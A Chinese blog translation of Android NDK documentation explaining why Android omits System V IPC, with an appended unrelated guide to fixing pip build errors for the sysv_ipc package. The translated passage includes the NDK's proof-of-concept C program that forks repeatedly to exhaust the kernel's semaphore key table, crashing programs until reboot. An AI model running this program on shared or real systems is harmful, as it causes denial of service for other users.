【翻译】(17)SYSV IPC

本文解析了Android为何不支持系统五进程间通信,包括导致全局内核资源泄漏的原因,以及该限制可能导致的系统行为异常。通过一个简单的Linux漏洞演示,展示了系统五IPC在实际应用中的潜在风险。

-----------------

英文文档见android-ndk-r6b的documentation.html

属于Android Native Development Kit (NDK)的一部分

http://developer.android.com/sdk/ndk/index.html

翻译仅个人见解

-----------------

 

Android does not support System V IPCs, i.e. the facilities provided by the following standard Posix headers:

 

Android不支持系统五进程间通信。即以下标准Posix头文件提供的工具:(注:Posix是Unix可移植操作系统接口的简称,是一种操作系统的API标准,但不限于Unix)

 

  <sys/sem.h>   /* SysV semaphores 系统五信号量*/

  <sys/shm.h>   /* SysV shared memory segments 系统五内存段*/

  <sys/msg.h>   /* SysV message queues 系统五消息队列*/

  <sys/ipc.h>   /* General IPC definitions 通用进程间通信定义*/

 

The reason for this is due to the fact that, by design, they lead to global kernel resource leakage.

 

之所以要这样做,是因为这样的事实,设计上它们会导致全局内核资源泄漏。

 

For example, there is no way to automatically release a SysV semaphore allocated in the kernel when:

 

例如,没有一种方法自动地释放在内核中分配的系统五信号量,当:

 

- a buggy or malicious process exits

 

- 一个有缺陷或恶意的进程存在。

 

- a non-buggy and non-malicious process crashes or is explicitly killed.

 

- 一个无缺陷且无恶意的进程崩溃或显式地被杀掉。

 

Killing processes automatically to make room for new ones is an important part of Android's application lifecycle implementation. This means that, even assuming only non-buggy and non-malicious code, it is very likely that over time, the kernel global tables used to implement SysV IPCs will fill up.

 

自动杀掉进程以腾出空间给新的进程,是Android应用程序生命周期实现的重要部分。这意味着,即便假设只有无缺陷且无恶意的代码,还是非常可能在不久后,用于实现系统五IPC的内核全局表将被填满。

 

At that point, strange failures are likely to occur and prevent programs that use them to run properly until the next reboot of the system.

 

到那时,奇怪的失败有可能会发生,并且阻止使用它们的程序正常运行,直至下一次系统重启。

 

And we can't ignore potential malicious applications. As a proof of concept here is a simple exploit that you can run on a standard Linux box today:

 

而且,我们不可以忽略潜在的恶意应用程序。作为这个观点的证明,这里有一个简单的漏洞(注:这里应该理解为漏洞或溢出攻击),如今你可以运行它在一个标准Linux机器里:

 

--------------- cut here ------------------------

#include <sys/sem.h>

#include <sys/wait.h>

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

 

#define  NUM_SEMAPHORES  32

#define  MAX_FAILS       10

 

int  main(void)

{

    int   counter = 0;

    int   fails   = 0;

 

    if (counter == IPC_PRIVATE)

        counter++;

 

    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);

 

    for (;;) {

        int  ret = fork();

        int  status;

 

        if (ret < 0) {

            perror("fork:");

            break;

        }

        if (ret == 0) {

            /* in the child 在子进程中*/

            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );

            if (ret < 0) {

                return errno;

            }

            return 0;

        }

        else {

            /* in the parent 在父进程中*/

            ret = wait(&status); //注:等待,直至其中一个子进程退出

            if (ret < 0) {

                perror("waitpid:");

                break;

            }

            if (status != 0) {

                status = WEXITSTATUS(status);

                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,

                                counter, status);

                if (++fails >= MAX_FAILS)

                    break;

            }

        }

 

        counter++;

        if ((counter % 1000) == 0) {

            printf("%d\n", counter);

        }

        if (counter == IPC_PRIVATE)

            counter++;

    }

    return 0;

}

--------------- cut here ------------------------

 

If you run it on a typical Linux distribution today, you'll discover that it will quickly fill up the kernel's table of unique key_t values, and that strange things will happen in some parts of the system, but not all.

 

今时今日如果你在一个典型的Linux分发版上运行这个程序,你将发现它很快用唯一的key_t值占满内核表,而且将会在系统的某些部分发生奇怪的事情,但不是全部。

 

(You can use the "ipcs -u" command to get a summary describing the kernel tables and their allocations)

 

(你可以使用ipcs -u命令获取一个描述内核表及其分配的概要)

 

(注:ipcs用于提供IPC设施的状态信息,-u表示summary,我在ubuntu上得到的有共享内存,信号量,消息三项)

 

For example, in our experience, anything program launched after that that calls strerror() will simply crash. The USB sub-system starts spoutting weird errors to the system console, etc...

 

例如,以我们的经验看,在发生这种泄漏之后,程序所做的任何事情,一旦其中调用了strerror()就会简单地崩溃。USB子系统开始不断输出奇怪的错误到系统控制台,等等……

 

### 解决 pip 安装 sysv_ipcFailed building wheel 错误 在尝试通过 pip 安装 `sysv_ipc` 包时,如果遇到 `Failed building wheel` 错误,通常是由于该包依赖于 C/C++ 扩展,而系统缺少必要的编译工具链或依赖库。以下是一些常见的解决方法: #### 1. 安装 Microsoft Visual C++ Build Tools `sysv_ipc` 是一个使用 C 编写的 Python 扩展模块,因此在 Windows 上安装时需要 Microsoft Visual C++ 编译器支持。可以安装 [Microsoft Visual C++ Build Tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/) 来提供所需的编译环境。 ```cmd # 安装 Visual C++ Build Tools 后,再次尝试安装 sysv_ipc pip install sysv_ipc ``` #### 2. 使用预编译的 wheel 文件 如果网络环境允许,可以从 [Unofficial Windows Binaries for Python Extension Packages](https://www.lfd.uci.edu/~gohlke/pythonlibs/#sysv_ipc) 下载适用于 `sysv_ipc` 的预编译 wheel 文件,然后通过 pip 本地安装。 ```cmd # 假设下载的文件为 sysv_ipc‑0.6.9‑cp39‑none‑win_amd64.whl pip install sysv_ipc‑0.6.9‑cp39‑none‑win_amd64.whl ``` #### 3. 检查 Python 版本与系统架构匹配 确保下载的 wheel 文件与当前使用的 Python 版本(如 cp39、cp310)和系统架构(如 win32、win_amd64)相匹配。否则也会导致安装失败。 #### 4. 更新 pip 和 setuptools 有时旧版本的 pip 或 setuptools 也可能导致构建失败,建议更新到最新版本后再尝试安装。 ```cmd pip install --upgrade pip setuptools wheel ``` #### 5. 使用虚拟环境隔离依赖 如果系统中存在多个 Python 环境,建议使用虚拟环境(如 `venv` 或 `conda`)进行隔离,避免依赖冲突。 ```cmd # 创建并激活虚拟环境 python -m venv venv venv\Scripts\activate # 再次尝试安装 sysv_ipc pip install sysv_ipc ``` #### 6. 使用 conda 安装(可选) 如果使用的是 Anaconda 或 Miniconda,可以直接通过 conda 安装 `sysv_ipc`,避免手动编译的问题。 ```cmd conda install -c conda-forge sysv_ipc ``` ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值